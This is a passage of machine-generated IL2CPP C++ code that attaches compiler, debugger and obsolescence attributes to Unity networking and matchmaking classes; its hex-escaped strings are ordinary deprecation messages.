CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_U3ChostPriorityU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_MatchInfoDirectConnectSnapshot_set_nodeId_m6CEC68A411E5CF0BA8F117E2320183B8F2A7A427(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_MatchInfoDirectConnectSnapshot_set_publicAddress_mD2BE5562A61C27A943E18910A89C885CDB7A854D(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_MatchInfoDirectConnectSnapshot_set_privateAddress_mB53B9DFB3F4E624E65A1A0D63B789F25948A3CDA(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_MatchInfoDirectConnectSnapshot_set_hostPriority_m92F2A1B50E815DB131E65362A37E4BBEF0098CF9(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void NetworkMatch_t520F80EBC98ADEE375884B456429236E5BBA0F3B_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[0];
ObsoleteAttribute__ctor_mAC32A5CCD287DA84CDA9F08282C1C8B0DB7B9868(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x65\x20\x6D\x61\x74\x63\x68\x6D\x61\x6B\x65\x72\x20\x61\x6E\x64\x20\x72\x65\x6C\x61\x79\x20\x66\x65\x61\x74\x75\x72\x65\x20\x77\x69\x6C\x6C\x20\x62\x65\x20\x72\x65\x6D\x6F\x76\x65\x64\x20\x69\x6E\x20\x74\x68\x65\x20\x66\x75\x74\x75\x72\x65\x2C\x20\x6D\x69\x6E\x69\x6D\x61\x6C\x20\x73\x75\x70\x70\x6F\x72\x74\x20\x77\x69\x6C\x6C\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x20\x75\x6E\x74\x69\x6C\x20\x74\x68\x69\x73\x20\x63\x61\x6E\x20\x62\x65\x20\x73\x61\x66\x65\x6C\x79\x20\x64\x6F\x6E\x65\x2E"), NULL);
}
}
static void NetworkMatch_t520F80EBC98ADEE375884B456429236E5BBA0F3B_CustomAttributesCacheGenerator_NetworkMatch_SetProgramAppID_mE5B7AEF38F1F9DB067FE6C4087873147B7681713(CustomAttributesCache* cache)
{
{
EditorBrowsableAttribute_tE201891FE727EB3FB75B488A2BF6D4DF3CB80614 * tmp = (EditorBrowsableAttribute_tE201891FE727EB3FB75B488A2BF6D4DF3CB80614 *)cache->attributes[0];
EditorBrowsableAttribute__ctor_mC77290C5157BDA154F1D03BD1551223B07A851D4(tmp, 1LL, NULL);
}
{
ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 * tmp = (ObsoleteAttribute_t14BAC1669C0409EB9F28D72D664FFA6764ACD671 *)cache->attributes[1];
ObsoleteAttribute__ctor_m058D2B798E9AB7E7778A6DB04C3FE7011C660F4C(tmp, il2cpp_codegen_string_new_wrapper("\x54\x68\x69\x73\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x69\x73\x20\x6E\x6F\x74\x20\x75\x73\x65\x64\x20\x61\x6E\x79\x20\x6C\x6F\x6E\x67\x65\x72\x20\x74\x6F\x20\x69\x6E\x74\x65\x72\x66\x61\x63\x65\x20\x77\x69\x74\x68\x20\x74\x68\x65\x20\x6D\x61\x74\x63\x68\x6D\x61\x6B\x65\x72\x2E\x20\x50\x6C\x65\x61\x73\x65\x20\x73\x65\x74\x20\x75\x70\x20\x79\x6F\x75\x72\x20\x70\x72\x6F\x6A\x65\x63\x74\x20\x62\x79\x20\x6C\x6F\x67\x67\x69\x6E\x67\x20\x69\x6E\x20\x74\x68\x72\x6F\x75\x67\x68\x20\x74\x68\x65\x20\x65\x64\x69\x74\x6F\x72\x20\x63\x6F\x6E\x6E\x65\x63\x74\x20\x64\x69\x61\x6C\x6F\x67\x2E"), true, NULL);
}
}
static void U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2__ctor_m47E7BBE4497E0B462F7BF2B38E21BEFBAC7AE094(CustomAttributesCache* cache)
{
{
DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 * tmp = (DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 *)cache->attributes[0];
DebuggerHiddenAttribute__ctor_mB40799BB5DAFE439BEFE895836CF792B8DBEA7F3(tmp, NULL);
}
}
static void U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2_System_IDisposable_Dispose_mFB115A24ABB4ADF3AE76E0EF7ED6592223B050EC(CustomAttributesCache* cache)
{
{
DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 * tmp = (DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 *)cache->attributes[0];
DebuggerHiddenAttribute__ctor_mB40799BB5DAFE439BEFE895836CF792B8DBEA7F3(tmp, NULL);
}
}
static void U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m612A09B7DE8979D327E5ED9DB9E3EE7023449996(CustomAttributesCache* cache)
{
{
DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 * tmp = (DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 *)cache->attributes[0];
DebuggerHiddenAttribute__ctor_mB40799BB5DAFE439BEFE895836CF792B8DBEA7F3(tmp, NULL);
}
}
static void U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2_System_Collections_IEnumerator_Reset_m2E58666AA85EBF338D7A88D4E727B7835731DE25(CustomAttributesCache* cache)
{
{
DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 * tmp = (DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 *)cache->attributes[0];
DebuggerHiddenAttribute__ctor_mB40799BB5DAFE439BEFE895836CF792B8DBEA7F3(tmp, NULL);
}
}
static void U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2_System_Collections_IEnumerator_get_Current_m361F83D2648D4A2296BC379AE58A94F977CD5D13(CustomAttributesCache* cache)
{
{
DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 * tmp = (DebuggerHiddenAttribute_tD84728997C009D6F540FB29D88F032350E046A88 *)cache->attributes[0];
DebuggerHiddenAttribute__ctor_mB40799BB5DAFE439BEFE895836CF792B8DBEA7F3(tmp, NULL);
}
}
static void Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_U3CsourceIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_U3CprojectIdU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_U3CaccessTokenStringU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_U3CdomainU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_get_sourceId_m51B4838441451B97A9CD39654905F8497777C230(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_get_projectId_m6F11899984870CE38D74843B1F3B1705B9E86ED0(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_get_accessTokenString_m6D1262B00D9BD603880CBB45852A695711DA7042(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_get_domain_m37B9BBD8B6369C7170CBF3562A46C9094FB3360F(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_set_domain_m5D9E2F4FC5FD9612666940E8ADB7C0E6F42354FC(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CnameU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CsizeU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CpublicAddressU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CprivateAddressU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CeloScoreU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CadvertiseU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CpasswordU3Ek__BackingField(CustomAttributesCache* cache)
{
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[0];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[1];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_U3CmatchAttributesU3Ek__BackingField(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
{
DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 * tmp = (DebuggerBrowsableAttribute_t2FA4793AD1982F5150E07D26822ED5953CD90F53 *)cache->attributes[1];
DebuggerBrowsableAttribute__ctor_mAA8BCC1E418754685F320B14A08AC226E76346E5(tmp, 0LL, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_name_mDB5F67F45F566D176B840FFAABAF0A5072DB56A0(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_name_mE0B8D4C54AE982080E74B8D40FFAA7529D09A0A8(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_size_mD2818C6FA732FB6DAF315D665C3FF9E097F023EA(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_size_m87F0CE15BF61656B21FFD4A7D7AD000752F90D0F(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_publicAddress_m500540EAFB70C64014B9DD733BCC7726473D006B(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_publicAddress_m8B3FFBDAC322E8818A1A9C97F32A3D7A87FC78E2(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_privateAddress_m2EA118F357CCA5EC32295C777B54469422D94AFA(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_privateAddress_mDD2D5C34B6879086BAB56DD932BE91666BA370D3(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_eloScore_m71DD51B39B031421C1D43029075DD796137A05B7(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_eloScore_m029428732F257F688E21C3D69AF794FEA4E8EFC7(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_advertise_mC6F7A0C2EC590E0A5A5F6C02CB515D2F7FC5E044(CustomAttributesCache* cache)
{
{
CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C * tmp = (CompilerGeneratedAttribute_t39106AB982658D7A94C27DEF3C48DB2F5F7CD75C *)cache->attributes[0];
CompilerGeneratedAttribute__ctor_m9DC3E4E2DA76FE93948D44199213E2E924DCBE35(tmp, NULL);
}
}
static void CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_advertise_m7A979119781F3358FD0166BDE484212579F27FED(CustomAttributesCache* cache)
{
{
